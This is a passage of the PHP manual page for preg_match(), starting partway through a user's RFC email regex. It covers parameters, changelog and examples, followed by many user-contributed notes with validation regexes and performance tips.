                          "!-'*-[\\]-\\x7F]";
        $comment        = "(\\((?:$fws?(?:$ctext|$quoted_pair|(?1)))*" .
                          "$fws?\\))";
        $cfws           = "(?:(?:$fws?$comment)*(?:(?:$fws?$comment)|$fws))";
        //$cfws           = $fws; //an alternative to comments
        $atext          = "[!#-'*+\\-\\/0-9=?A-Z\\^-~]";
        $atom           = "(?:$cfws?$atext+$cfws?)";
        $dot_atom_text  = "(?:$atext+(?:\\.$atext+)*)";
        $dot_atom       = "(?:$cfws?$dot_atom_text$cfws?)";
        $qtext          = "[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F!#-[\\]-\\x7F]";
        $qcontent       = "(?:$qtext|$quoted_pair)";
        $quoted_string  = "(?:$cfws?\"(?:$fws?$qcontent)*$fws?\"$cfws?)";
        $dtext          = "[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F!-Z\\^-\\x7F]";
        $dcontent       = "(?:$dtext|$quoted_pair)";
        $domain_literal = "(?:$cfws?\\[(?:$fws?$dcontent)*$fws?]$cfws?)";
        $domain         = "(?:$dot_atom|$domain_literal)";
        $local_part     = "(?:$dot_atom|$quoted_string)";
        $addr_spec      = "($local_part@$domain)";
        $display_name   = "(?:(?:$atom|$quoted_string)+)";
        $angle_addr     = "(?:$cfws?<$addr_spec>$cfws?)";
        $name_addr      = "(?:$display_name?$angle_addr)";
        $mailbox        = "(?:$name_addr|$addr_spec)";
        $mailbox_list   = "(?:(?:(?:(?<=:)|,)$mailbox)+)";
        $group          = "(?:$display_name:(?:$mailbox_list|$cfws)?;$cfws?)";
        $address        = "(?:$mailbox|$group)";
        $address_list   = "(?:(?:^|,)$address)+";

        //output length of string (just so you see how f**king long it is)
        echo(strlen($address_list) . " ");

        //apply expression
        preg_match_all("/^$address_list$/", $string, $array, PREG_SET_ORDER);

        return $array;
};
?>
mnc at u dot nu 02-Feb-2006 10:05
PREG_OFFSET_CAPTURE always seems to provide byte offsets, rather than character position offsets, even when you are using the unicode /u modifier.
preg_last_error
preg_match
PCRE Functions


Perform a regular expression match

preg_match_all
preg_quote
PCRE Functions
PHP Manual

preg_match

(PHP 4, PHP 5)

preg_match — Perform a regular expression match

Description

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )

Searches subject for a match to the regular expression given in pattern.

Parameters

pattern

The pattern to search for, as a string.

subject

The input string.

matches

If matches is provided, then it is filled with the results of search. $matches[0] will contain the text that matched the full pattern, $matches[1] will have the text that matched the first captured parenthesized subpattern, and so on.

flags

flags can be the following flag:

PREG_OFFSET_CAPTURE
If this flag is passed, for every occurring match the appendant string offset will also be returned. Note that this changes the value of matches into an array where every element is an array consisting of the matched string at offset 0 and its string offset into subject at offset 1.

offset

Normally, the search starts from the beginning of the subject string. The optional parameter offset can be used to specify the alternate place from which to start the search (in bytes).

Note:

Using offset is not equivalent to passing substr($subject, $offset) to preg_match() in place of the subject string, because pattern can contain assertions such as ^, $ or (?<=x). Compare:

<?php
$subject = "abcdef";
$pattern = '/^def/';
preg_match($pattern, $subject, $matches, PREG_OFFSET_CAPTURE, 3);
print_r($matches);
?>

The above example will output:

Array
(
)

while this example

<?php
$subject = "abcdef";
$pattern = '/^def/';
preg_match($pattern, substr($subject,3), $matches, PREG_OFFSET_CAPTURE);
print_r($matches);
?>

will produce

Array
(
    [0] => Array
        (
            [0] => def
            [1] => 0
        )

)

Return Values

preg_match() returns the number of times pattern matches. That will be either 0 times (no match) or 1 time because preg_match() will stop searching after the first match. preg_match_all() on the contrary will continue until it reaches the end of subject. preg_match() returns FALSE if an error occurred.

Changelog

Version | Description
5.3.6 | Returns FALSE if offset is higher than subject length.
5.2.2 | Named subpatterns now accept the syntax (?<name>) and (?'name') as well as (?P<name>). Previous versions accepted only (?P<name>).
4.3.3 | The offset parameter was added
4.3.0 | The PREG_OFFSET_CAPTURE flag was added
4.3.0 | The flags parameter was added

Examples

Example #1 Find the string of text "php"

<?php
// The "i" after the pattern delimiter indicates a case-insensitive search
if (preg_match("/php/i", "PHP is the web scripting language of choice.")) {
    echo "A match was found.";
} else {
    echo "A match was not found.";
}
?>

Example #2 Find the word "web"

<?php
/* The \b in the pattern indicates a word boundary, so only the distinct
 * word "web" is matched, and not a word partial like "webbing" or "cobweb" */
if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) {
    echo "A match was found.";
} else {
    echo "A match was not found.";
}

if (preg_match("/\bweb\b/i", "PHP is the website scripting language of choice.")) {
    echo "A match was found.";
} else {
    echo "A match was not found.";
}
?>

Example #3 Getting the domain name out of a URL

<?php
// get host name from URL
preg_match('@^(?:http://)?([^/]+)@i',
    "http://www.php.net/index.html", $matches);
$host = $matches[1];

// get last two segments of host name
preg_match('/[^.]+\.[^.]+$/', $host, $matches);
echo "domain name is: {$matches[0]}\n";
?>

The above example will output:

domain name is: php.net

Example #4 Using named subpattern

<?php

$str = 'foobar: 2008';

preg_match('/(?P<name>\w+): (?P<digit>\d+)/', $str, $matches);

/* This also works in PHP 5.2.2 (PCRE 7.0) and later, however
 * the above form is recommended for backwards compatibility */
// preg_match('/(?<name>\w+): (?<digit>\d+)/', $str, $matches);

print_r($matches);

?>

The above example will output:

Array
(
    [0] => foobar: 2008
    [name] => foobar
    [1] => foobar
    [digit] => 2008
    [2] => 2008
)

Notes

Tip

Do not use preg_match() if you only want to check if one string is contained in another string. Use strpos() or strstr() instead as they will be faster.

See Also

  • PCRE Patterns
  • preg_match_all() - Perform a global regular expression match
  • preg_replace() - Perform a regular expression search and replace
  • preg_split() - Split string by a regular expression
  • preg_last_error() - Returns the error code of the last PCRE regex execution

User Contributed Notes

kevin 08-Jan-2012 06:11
here is a little function to get an associative array instead of the numeric one.

<?php
function preg_match_assoc($pattern, $subject, $assoc, $flags = 0, $offset = 0) {
    $matches = array();
    eval('preg_match($pattern, $subject, $matches, $flags, $offset);');
    $n = 0;
    foreach($matches as $result) {
        $array[$assoc[$n]] = $result;
        $n++;
    }
    return $array;
}
?>

example of use

<?php

$assocs = array(
    'all',
    'a-1',
    'i-1',
    'a-2',
    'ia-1',
    'ia-2'
);

$test = preg_match_assoc('#([a-z]+)([0-9]+)([a-z]+)\-([a-z|0-9]+)\-([a-z|0-9]+)#', 'az45rt-df36qz-fg89ih', $assocs);

// $test will contain :
//
// array
//   'all' => string 'az45rt-df36qz-fg89ih' (length=20)
//   'a-1' => string 'az' (length=2)
//   'i-1' => string '45' (length=2)
//   'a-2' => string 'rt' (length=2)
//   'ia-1' => string 'df36qz' (length=6)
//
// Instead of :
//
// array
//   0 => string 'az45rt-df36qz-fg89ih' (length=20)
//   1 => string 'az' (length=2)
//   2 => string '45' (length=2)
//   2 => string 'rt' (length=2)
//   4 => string 'df36qz' (length=6)
//   5 => string 'fg89ih' (length=6)

?>
Jonny 5 07-Dec-2011 09:55
Workaround for getting the offset in UTF-8
(in some cases mb_strpos might be an option as well)

<?php
if(preg_match($pattern,$haystack,$out,PREG_OFFSET_CAPTURE)) {
    $offset = strlen(utf8_decode(substr($haystack,0,$out[0][1])));
}
?>
force at md-t dot org 25-Sep-2011 11:38
Simple regex

Regex quick reference
[abc]     A single character: a, b or c
[^abc]     Any single character but a, b, or c
[a-z]     Any single character in the range a-z
[a-zA-Z]     Any single character in the range a-z or A-Z
^     Start of line
$     End of line
\A     Start of string
\z     End of string
.     Any single character
\s     Any whitespace character
\S     Any non-whitespace character
\d     Any digit
\D     Any non-digit
\w     Any word character (letter, number, underscore)
\W     Any non-word character
\b     Any word boundary character
(...)     Capture everything enclosed
(a|b)     a or b
a?     Zero or one of a
a*     Zero or more of a
a+     One or more of a
a{3}     Exactly 3 of a
a{3,}     3 or more of a
a{3,6}     Between 3 and 6 of a

options: i case insensitive m make dot match newlines x ignore whitespace in regex o perform #{...} substitutions only once
cmallabon at homesfactory dot com 30-Aug-2011 10:28
Just an interesting note. Was just updating code to replace ereg() with strpos() and preg_match and the thought occured that preg_match() could be optimized to quit early when only searching if a string begins with something, for example
<?php
if(preg_match("/^http/", $url))
{
 //do something
}
?>

 vs

<?php
if(strpos($url, "http") === 0)
{
//do something
}
?>

As I guessed, strpos() is always faster (about 2x) for short strings like a URL but for very long strings of several paragraphs (e.g. a block of XML) when the string doesn't start with the needle preg_match as twice as fast as strpos() as it doesn't scan the entire string.

So, if you are searching long strings and expect it to normally be true (e.g. validating XML), strpos() is a much faster BUT if you expect if to often fail, preg_match is the better choice.
ayman2243 at gmail dot com 30-Aug-2011 04:55
highlight Search Words

<?php
function highlight($word, $subject) {

    $split_subject = explode(" ", $subject);
    $split_word = explode(" ", $word);

    foreach ($split_subject as $k => $v){
           foreach ($split_word as $k2 => $v2){
               if($v2 == $v){

                   $split_subject[$k] = "<span class='highlight'>".$v."</span>";

               }
           }
      }

      return implode(' ', $split_subject);
}
?>
Khalid_Moharram at hotmail dot com 25-Aug-2011 01:36
Well for anyone looking for email validation, according to the RFC specifications (ONLY FOR ((ENGLISH ASCII)) E-Mails).

<?php
function email_valid($temp_email) {
######## Three functions to HELP ########
        function valid_dot_pos($email) {
            $str_len = strlen($email);
            for($i=0; $i<$str_len; $i++) {
                $current_element = $email[$i];
                if($current_element == "." && ($email[$i+1] == ".")) {
                    return false;
                    break;
                }
                else {

                }
            }
            return true;
        }
        function valid_local_part($local_part) {
            if(preg_match("/[^a-zA-Z0-9-_@.!#$%&'*\/+=?^`{\|}~]/", $local_part)) {
                return false;
            }
            else {
                return true;
            }
        }
        function valid_domain_part($domain_part) {
            if(preg_match("/[^a-zA-Z0-9@#\[\].]/", $domain_part)) {
                return false;
            }
            elseif(preg_match("/[@]/", $domain_part) && preg_match("/[#]/", $domain_part)) {
                return false;
            }
            elseif(preg_match("/[\[]/", $domain_part) || preg_match("/[\]]/", $domain_part)) {
                $dot_pos = strrpos($domain_part, ".");
                if(($dot_pos < strrpos($domain_part, "]")) || (strrpos($domain_part, "]") < strrpos($domain_part, "["))) {
                    return true;
                }
                elseif(preg_match("/[^0-9.]/", $domain_part)) {
                    return false;
                }
                else {
                    return false;
                }
            }
            else {
                return true;
            }
        }
        // trim() the entered E-Mail
        $str_trimmed = trim($temp_email);
        // find the @ position
        $at_pos = strrpos($str_trimmed, "@");
        // find the . position
        $dot_pos = strrpos($str_trimmed, ".");
        // this will cut the local part and return it in $local_part
        $local_part = substr($str_trimmed, 0, $at_pos);
        // this will cut the domain part and return it in $domain_part
        $domain_part = substr($str_trimmed, $at_pos);
        if(!isset($str_trimmed) || is_null($str_trimmed) || empty($str_trimmed) || $str_trimmed == "") {
            $this->email_status = "You must insert something";
            return false;
        }
        elseif(!valid_local_part($local_part)) {
            $this->email_status = "Invalid E-Mail Address";
            return false;
        }
        elseif(!valid_domain_part($domain_part)) {
            $this->email_status = "Invalid E-Mail Address";
            return false;
        }
        elseif($at_pos > $dot_pos) {
            $this->email_status = "Invalid E-Mail Address";
            return false;
        }
        elseif(!valid_local_part($local_part)) {
            $this->email_status = "Invalid E-Mail Address";
            return false;
        }
        elseif(($str_trimmed[$at_pos + 1]) == ".") {
            $this->email_status = "Invalid E-Mail Address";
            return false;
        }
        elseif(!preg_match("/[(@)]/", $str_trimmed) || !preg_match("/[(.)]/", $str_trimmed)) {
            $this->email_status = "Invalid E-Mail Address";
            return false;
        }
        else {
            $this->email_status = "";
            return true;
        }
}
?>
workhorse at op dot pl 11-Aug-2011 12:53
Preg_match returns empty result trying to validate $subject with carriege returns (/n/r).
To solve it one need to use /s modifier in $pattern string.
<?php
$pattern='/.*/s';
$valid=preg_match($pattern, $subject, $match);
?>
itworkarounds at gmail dot com 09-Aug-2011 09:08
You can use the following code to detect non-latin (Cyrilic, Arabic, Greek...) characters:

<?php
preg_match("/^[a-zA-Z\p{Cyrillic}0-9\s\-]+$/u", "ABC abc 1234 АБВ абв");
?>
mohammad40g at gmail dot com 01-Aug-2011 09:23
This sample is for checking persian character:

<?php
   preg_match("/[\x{0600}-\x{06FF}\x]{1,32}/u", 'محمد');
?>
sun at drupal dot org 23-Jun-2011 05:56
Basic test for invalid UTF-8 that can hi-jack IE:

<?php
$valid = (preg_match('/^./us', $text) == 1);
?>
See http://api.drupal.org/api/drupal/includes--bootstrap.inc/function/drupal_validate_utf8/7 for details.

---

Test for valid UTF-8 and XML/XHTML character range compatibility:

<?php
$invalid = preg_match('@[^\x9\xA\xD\x20-\x{D7FF}\x{E000}-\x{FFFD}\x{10000}-\x{10FFFF}]@u', $text)
?>
Ref: http://www.w3.org/TR/2000/REC-xml-20001006#charsets
juanmadss at gmail dot com 25-May-2011 04:00
Testing the speed of preg_match against stripos doing insensitive case search in strings:

<?php
$string = "Hey, how are you? I'm a string.";

// PCRE
$start = microtime(true);
for ($i = 1; $i < 10000000; $i++) {
    $bool = preg_match('/you/i', $string);
}
$end = microtime(true);
$pcre_lasted = $end - $start; // 8.3078360557556

// Stripos, we believe in you
$start = microtime(true);
for ($i = 1; $i < 10000000; $i++) {
    $bool = stripos($string, 'you') !== false;
}
$end = microtime(true);
$stripos_lasted = $end - $start; // 6.0306038856506

echo "Preg_match lasted: {$pcre_lasted}<br />Stripos lasted: {$stripos_lasted}";
?>

So unless you really need to test a string against a regular expression, always use strpos / stripos and other string functions to find characters and strings within other strings.
mulllhausen 16-May-2011 01:57
i do a fair bit of html scraping in conjunction with curl. i always need to know if i have reached the right page or if the curl request failed. the main problem i have encountered is html tags having unexpected spaces or other characters (especially the &nbsp; character sequence) between them. for example when requesting a page with a certain manner set of post or get variables the response might be

<a href='blah'><span>data data data</span></a>

but requesting the same page with different post/get variables might give the following result:

<a href='blah'>
         &nbsp;<span>data data data</span>
</a>

to match both of these tag sequences with the same pattern i use the [\S\s]*? wildcard which basically means 'match anything at all...but not if you can help it'

so the pattern for the above sequence would be:

<?php

$page1 = "........<a href='blah'><span>data data data</span></a>.........";

$page2 = "........<a href='blah'>
         &nbsp;<span>data data data</span>
</a>
........";

$w = "[\s\S]*?"; //ungreedy wildcard
$pattern = "/\<a href='blah'\>$w\<span\>data data data\<\/span\>$w\<\/a\>/";

if(preg_match($pattern, $page1, $matches)) echo "got to page 1. match: [".print_r($matches, true)."]\n";
else echo "did not get to page 1\n";

if(preg_match($pattern, $page2, $matches)) echo "got to page 2. match: [".print_r($matches, true)."]\n";
else echo "did not get to page 2\n";

?>
MrBull 20-Mar-2011 07:32
Sometimes its useful to negate a string. The first method which comes to mind to do this is: [^(string)] but this of course won't work. There is a solution, but it is not very well known. This is the simple piece of code on how a negation of a string is done:

(?:(?!string).)

?: makes a subpattern (see http://www.php.net/manual/en/regexp.reference.subpatterns.php) and ?! is a negative look ahead. You put the negative look ahead in front of the dot because you want the regex engine to first check if there is an occurrence of the string you are negating. Only if it is not there, you want to match an arbitrary character.

Hope this helps some ppl.
arash dot hemmat at gmail dot com 02-Feb-2011 07:15
For those who search for a unicode regular expression example using preg_match here it is:

Check for Persian digits
preg_match( "/[^\x{06F0}-\x{06F9}\x]+/u" , '۱۲۳۴۵۶۷۸۹۰' );
Frank 26-Jan-2011 12:12
If someone is from a country that accepts decimal numbers in format 9.00 and 9,00 (point or comma), number validation would be like that:
<?php
$number_check = "9,99";
if (preg_match( '/^[\-+]?[0-9]*\.*\,?[0-9]+$/', $number_check)) {
    return TRUE;
}
?>

However, if the number will be written in the database, most probably this comma needs to be replaced with a dot.
This can be done with use of str_replace, i.e :
<?php
$number_database = str_replace("," , "." , $number_check);
?>
sainnr at gmail dot com 30-Dec-2010 06:12
This sample regexp may be useful if you are working with DB field types.

(?P<type>\w+)($|\((?P<length>(\d+|(.*)))\))

For example, if you are have a such type as "varchar(255)" or "text", the next fragment

<?php
   $type = 'varchar(255)';  // type of field
   preg_match('/(?P<type>\w+)($|\((?P<length>(\d+|(.*)))\))/', $type, $field);
   print_r($field);
?>

will output something like this:
Array ( [0] => varchar(255) [type] => varchar [1] => varchar [2] => (255) [length] => 255 [3] => 255 [4] => 255 )
ian_channing at hotmail dot com 27-Dec-2010 01:55
When trying to check a file path that could be windows or unix it took me quite a few tries to get the escape characters right.

The Unix directory separator must be escaped once and the windows directory separator must be escaped twice.

This will match path/to/file and path\to\file.exe

preg_match('/^[a-z0-9_.\/\\\]*$/i', $file_string);
SoN9ne at gmail dot com 08-Jun-2010 10:10
I have been working on a email system that will automatically generate a text email from a given HTML email by using strip_tags().
The only issue I ran into, for my needs, were that the anchors would not keep their links.
I search for a little while and could not find anything to strip the links from the tags so I generated my own little snippet.
I am posting it here in hopes that others may find it useful and for later reference.

A note to keep in mind:
I was primarily concerned with valid HTML so if attributes do no use ' or " to contain the values then this will need to be tweaked.
If you can edit this to work better, please let me know.
<?php
/**
 * Replaces anchor tags with text
 * - Will search string and replace all anchor tags with text (case insensitive)
 *
 * How it works:
 * - Searches string for an anchor tag, checks to make sure it matches the criteria
 *         Anchor search criteria:
 *             - 1 - <a (must have the start of the anchor tag )
 *             - 2 - Can have any number of spaces or other attributes before and after the href attribute
 *             - 3 - Must close the anchor tag
 *
 * - Once the check has passed it will then replace the anchor tag with the string replacement
 * - The string replacement can be customized
 *
 * Know issue:
 * - This will not work for anchors that do not use a ' or " to contain the attributes.
 *         (i.e.- <a href=http: //php.net>PHP.net</a> will not be replaced)
 */
function replaceAnchorsWithText($data) {
    /**
     * Had to modify $regex so it could post to the site... so I broke it into 6 parts.
     */
    $regex  = '/(<a\s*'; // Start of anchor tag
    $regex .= '(.*?)\s*'; // Any attributes or spaces that may or may not exist
    $regex .= 'href=[\'"]+?\s*(?P<link>\S+)\s*[\'"]+?'; // Grab the link
    $regex .= '\s*(.*?)\s*>\s*'; // Any attributes or spaces that may or may not exist before closing tag
    $regex .= '(?P<name>\S+)'; // Grab the name
    $regex .= '\s*<\/a>)/i'; // Any number of spaces between the closing anchor tag (case insensitive)

    if (is_array($data)) {
        // This is what will replace the link (modify to you liking)
        $data = "{$data['name']}({$data['link']})";
    }
    return preg_replace_callback($regex, 'replaceAnchorsWithText', $data);
}

$input  = 'Test 1: <a href="http: //php.net1">PHP.NET1</a>.<br />';
$input .= 'Test 2: <A name="test" HREF=\'HTTP: //PHP.NET2\' target="_blank">PHP.NET2</A>.<BR />';
$input .= 'Test 3: <a hRef=http: //php.net3>php.net3</a><br />';
$input .= 'This last line had nothing to do with any of this';

echo replaceAnchorsWithText($input).'<hr/>';
?>
Will output:
Test 1: PHP.NET1(http: //php.net1).
Test 2: PHP.NET2(HTTP: //PHP.NET2).
Test 3: php.net3 (is still an anchor)
This last line had nothing to do with any of this

Posting to this site is painful...
Had to break up the regex and had to break the test links since it was being flagged as spam...
teracci2002 09-Apr-2010 09:00
When you use preg_match() for security purpose or huge data processing,
mayby you should make consideration for backtrack_limit and recursion_limit.
http://www.php.net/manual/en/pcre.configuration.php

These limits may bring wrong matching result.
You can verify whether you hit these limits by checking preg_last_error().
http://www.php.net/manual/en/function.preg-last-error.php
Kae Cyphet 17-Mar-2010 06:29
for those coming over from ereg, preg_match can be quite intimidating. to get started here is a migration tip.

<?php
if(ereg('[^0-9A-Za-z]',$test_string)) // will be true if characters arnt 0-9, A-Z or a-z.

if(preg_match('/[^0-9A-Za-z]/',$test_string)) // this is the preg_match version. the /'s are now required.
?>
plasma 21-Feb-2010 04:53
To extract scheme, host, path, ect. simply use

<?php

  $url  = 'http://name:pass@';
  $url .= 'example.com:10000';
  $url .= '/path/to/file.php?a=1&amp;b=2#anchor';

  $url_data = parse_url ( $url );

  print_r ( $url_data );

?>
___
prints out something like:

Array
(
    [scheme] => http
    [host] => wild.subdomain.orgy.domain.co.uk
    [port] => 10000
    [user] => name
    [pass] => pass
    [path] => /path/to/file.php
    [query] => a=1&b=2
    [fragment] => anchor
)

In my tests parse_url is up to 15x faster than preg_match(_all)!
Dr@ke 18-Feb-2010 07:58
Hello,
There is a bug with somes new PCRE versions (like:7.9 2009-04-1),
In patterns:
\w+ !== [a-zA-Z0-9]+

But it's ok, if i replace \w+ by [a-z0-9]+ or [a-zA-Z0-9]+
saberdream at live dot fr 10-Feb-2010 03:53
I made a function to circumvent the problem of length of a string... This verifies that the link is an image.

<?php
function verifiesimage($lien, $limite) {
    if( preg_match('#^http:\/\/(.*)\.(gif|png|jpg)$#i', $lien) && strlen($lien) < $limite )
    {
        $msg = TRUE; // link ok
    }
    else
    {
        $msg = FALSE; // the link isn't image
    }
    return $msg; // return TRUE or FALSE
}
?>

Example :

<?php
if(verifierimage($votrelien, 50) == TRUE)
{
    // we display the content...
}
?>
Anonymous 06-Feb-2010 08:00
The regular expression for breaking-down a URI reference into its components:

      ^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?
       12            3  4          5       6  7        8 9

Source: ietf.org/rfc/rfc2396.txt
cebelab at gmail dot com 23-Jan-2010 10:43
I noticed that in order to deal with UTF-8 texts, without having to recompile php with the PCRE UTF-8 flag enabled, you can just add the following sequence at the start of your pattern: (*UTF8)

for instance : '#(*UTF8)[[:alnum:]]#' will return TRUE for 'é' where '#[[:alnum:]]#' will return FALSE

found this very very useful tip after hours of research over the web directly in pcre website right here : http://www.pcre.org/pcre.txt
there are many further informations about UTF-8 support in the lib

hop that will help!

--
cedric
Stefan 17-Nov-2009 02:47
I spent a while replacing all my ereg() calls to preg_match(), since ereg() is now deprecated and will not be supported as of v 6.0.

Just a warning regarding the conversion, the two functions behave very similarly, but not exactly alike. Obviously, you will need to delimit your pattern with '/' or '|' characters.

The difference that stumped me was that preg_replace overwrites the $matches array regardless if a match was found. If no match was found, $matches is simply empty.

ereg(), however, would leave $matches alone if a match was not found. In my code, I had repeated calls to ereg, and was populating $matches with each match. I was only interested in the last match. However, with preg_match, if the very last call to the function did not result in a match, the $matches array would be overwritten with a blank value.

Here is an example code snippet to illustrate:

<?php
$test = array('yes','no','yes','no','yes','no');

foreach ($test as $key=>$value) {
  ereg("yes",$value,$matches1);
  preg_match("|yes|",$value,$matches2);
}
  print "ereg result: $matches1[0]<br>";
  print "preg_match result: $matches2[0]<br>";
?>

The output is:
ereg result: yes
preg_match result:

($matches2[0] in this case is empty)

I believe the preg_match behavior is cleaner. I just thought I would report this to hopefully save others some time.
ruakuu at NOSPAM dot com 03-Nov-2009 09:32
Was working on a site that needed japanese and alphabetic letters and needed to
validate input using preg_match, I tried using \p{script} but didn't work:

<?php
$pattern ='/^([-a-zA-Z0-9_\p{Katakana}\p{Hiragana}\p{Han}]*)$/u'; // Didn't work
?>

So I tried with ranges and it worked:

<?php
$pattern ='/^[-a-zA-Z0-9_\x{30A0}-\x{30FF}'
         .'\x{3040}-\x{309F}\x{4E00}-\x{9FBF}\s]*$/u';
$match_string = '印刷最安 ニキビ跡除去 ゲームボーイ';

if (preg_match($pattern, $match_string)) {
    echo "Found - pattern $pattern";
} else {
    echo "Not found - pattern $pattern";
}
?>

U+4E00–U+9FBF Kanji
U+3040–U+309F Hiragana
U+30A0–U+30FF Katakana

Hope its useful, it took me several hours to figure it out.
Anonymous 12-Oct-2009 02:24
If your regular expression does not match with long input text when you think it should, you might have hit the PCRE backtrack default limit of 100000. See http://php.net/pcre.backtrack-limit.
splattermania at freenet dot de 01-Oct-2009 05:01
As I wasted lots of time finding a REAL regex for URLs and resulted in building it on my own, I now have found one, that seems to work for all kinds of urls:

<?php
    $regex = "((https?|ftp)\:\/\/)?"; // SCHEME
    $regex .= "([a-z0-9+!*(),;?&=\$_.-]+(\:[a-z0-9+!*(),;?&=\$_.-]+)?@)?"; // User and Pass
    $regex .= "([a-z0-9-.]*)\.([a-z]{2,3})"; // Host or IP
    $regex .= "(\:[0-9]{2,5})?"; // Port
    $regex .= "(\/([a-z0-9+\$_-]\.?)+)*\/?"; // Path
    $regex .= "(\?[a-z+&\$_.-][a-z0-9;:@&%=+\/\$_.-]*)?"; // GET Query
    $regex .= "(#[a-z_.-][a-z0-9+\$_.-]*)?"; // Anchor
?>

Then, the correct way to check against the regex ist as follows:

<?php
       if(preg_match("/^$regex$/", $url))
       {
               return true;
       }
?>
luc _ santeramo at t yahoo dot com 03-Sep-2009 07:46
If you want to validate an email in one line, use filter_var() function !
http://fr.php.net/manual/en/function.filter-var.php

easy use, as described in the document example :
var_dump(filter_var('bob@example.com', FILTER_VALIDATE_EMAIL));
marcosc at tekar dot net 27-Aug-2009 09:31
When using accented characters and "ñ" (áéíóúñ), preg_match does not work. It is a charset problem, use utf8_decode/decode to fix.
ian_channing at hotmail dot com 20-Aug-2009 06:13
This is a function that uses regular expressions to match against the various VAT formats required across the EU.

<?php
/**
 * @param integer $country Country name
 * @param integer $vat_number VAT number to test e.g. GB123 4567 89
 * @return integer -1 if country not included OR 1 if the VAT Num matches for the country OR 0 if no match
*/
function checkVatNumber( $country, $vat_number ) {
    switch($country) {
        case 'Austria':
            $regex = '/^(AT){0,1}U[0-9]{8}$/i';
            break;
        case 'Belgium':
            $regex = '/^(BE){0,1}[0]{0,1}[0-9]{9}$/i';
            break;
        case 'Bulgaria':
            $regex = '/^(BG){0,1}[0-9]{9,10}$/i';
            break;
        case 'Cyprus':
            $regex = '/^(CY){0,1}[0-9]{8}[A-Z]$/i';
            break;
        case 'Czech Republic':
            $regex = '/^(CZ){0,1}[0-9]{8,10}$/i';
            break;
        case 'Denmark':
            $regex = '/^(DK){0,1}([0-9]{2}[\ ]{0,1}){3}[0-9]{2}$/i';
            break;
        case 'Estonia':
        case 'Germany':
        case 'Greece':
        case 'Portugal':
            $regex = '/^(EE|EL|DE|PT){0,1}[0-9]{9}$/i';
            break;
        case 'France':
            $regex = '/^(FR){0,1}[0-9A-Z]{2}[\ ]{0,1}[0-9]{9}$/i';
            break;
        case 'Finland':
        case 'Hungary':
        case 'Luxembourg':
        case 'Malta':
        case 'Slovenia':
            $regex = '/^(FI|HU|LU|MT|SI){0,1}[0-9]{8}$/i';
            break;
        case 'Ireland':
            $regex = '/^(IE){0,1}[0-9][0-9A-Z\+\*][0-9]{5}[A-Z]$/i';
            break;
        case 'Italy':
        case 'Latvia':
            $regex = '/^(IT|LV){0,1}[0-9]{11}$/i';
            break;
        case 'Lithuania':
            $regex = '/^(LT){0,1}([0-9]{9}|[0-9]{12})$/i';
            break;
        case 'Netherlands':
            $regex = '/^(NL){0,1}[0-9]{9}B[0-9]{2}$/i';
            break;
        case 'Poland':
        case 'Slovakia':
            $regex = '/^(PL|SK){0,1}[0-9]{10}$/i';
            break;
        case 'Romania':
            $regex = '/^(RO){0,1}[0-9]{2,10}$/i';
            break;
        case 'Sweden':
            $regex = '/^(SE){0,1}[0-9]{12}$/i';
            break;
        case 'Spain':
            $regex = '/^(ES){0,1}([0-9A-Z][0-9]{7}[A-Z])|([A-Z][0-9]{7}[0-9A-Z])$/i';
            break;
        case 'United Kingdom':
            $regex = '/^(GB){0,1}([1-9][0-9]{2}[\ ]{0,1}[0-9]{4}[\ ]{0,1}[0-9]{2})|([1-9][0-9]{2}[\ ]{0,1}[0-9]{4}[\ ]{0,1}[0-9]{2}[\ ]{0,1}[0-9]{3})|((GD|HA)[0-9]{3})$/i';
            break;
        default:
            return -1;
            break;
    }

    return preg_match($regex, $vat_number);
}
?>
Rob 19-Aug-2009 12:03
The following function works well for validating ip addresses

<?php
function valid_ip($ip) {
    return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])" .
            "(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $ip);
}
?>
KOmaSHOOTER at gmx dot de 09-Aug-2009 06:12
reading files from a dir without "." or ".."
<?php
$handle = opendir('content/pages/');
$pages = array();
while (false !== ($file = readdir($handle))) {
      $case=preg_match("/^[.]/",$file,$out, PREG_OFFSET_CAPTURE);
      //echo($case);
      if(!$case){
       echo("$file<br />");
       array_push($pages,$file);
       }
}
echo(count($pages));
?>
matt 08-May-2009 01:07
To support large Unicode ranges (ie: [\x{E000}-\x{FFFD}] or \x{10FFFFF}) you must use the modifier '/u' at the end of your expression.
daniel dot chcouri at gmail dot com 03-May-2009 06:09
Html tags delete using regular expression

<?php
function removeHtmlTagsWithExceptions($html, $exceptions = null){
    if(is_array($exceptions) && !empty($exceptions))
    {
        foreach($exceptions as $exception)
        {
            $openTagPattern  = '/<(' . $exception . ')(\s.*?)?>/msi';
            $closeTagPattern = '/<\/(' . $exception . ')>/msi';

            $html = preg_replace(
                array($openTagPattern, $closeTagPattern),
                array('||l|\1\2|r||', '||l|/\1|r||'),
                $html
            );
        }
    }

    $html = preg_replace('/<.*?>/msi', '', $html);

    if(is_array($exceptions))
    {
        $html = str_replace('||l|', '<', $html);
        $html = str_replace('|r||', '>', $html);
    }

    return $html;
}

// example:
print removeHtmlTagsWithExceptions(<<<EOF
<h1>Whatsup?!</h1>
Enjoy <span style="text-color:blue;">that</span> script<br />
<br />
EOF
, array('br'));
?>
corey [works at] effim [delete] .com 24-Apr-2009 08:52
I see a lot of people trying to put together phone regex's and struggling (hey, no worries...they're complicated). Here's one that we use that's pretty nifty. It's not perfect, but it should work for most non-idealists.

*** Note: Only matches U.S. phone numbers. ***

<?php

// all on one line...
$regex = '/^(?:1(?:[. -])?)?(?:\((?=\d{3}\)))?([2-9]\d{2})(?:(?<=\(\d{3})\))? ?(?:(?<=\d{3})[.-])?([2-9]\d{2})[. -]?(\d{4})(?: (?i:ext)\.? ?(\d{1,5}))?$/';

// or broken up
$regex = '/^(?:1(?:[. -])?)?(?:\((?=\d{3}\)))?([2-9]\d{2})'
        .'(?:(?<=\(\d{3})\))? ?(?:(?<=\d{3})[.-])?([2-9]\d{2})'
        .'[. -]?(\d{4})(?: (?i:ext)\.? ?(\d{1,5}))?$/';

?>

If you're wondering why all the non-capturing subpatterns (which look like this "(?:", it's so that we can do this:

<?php

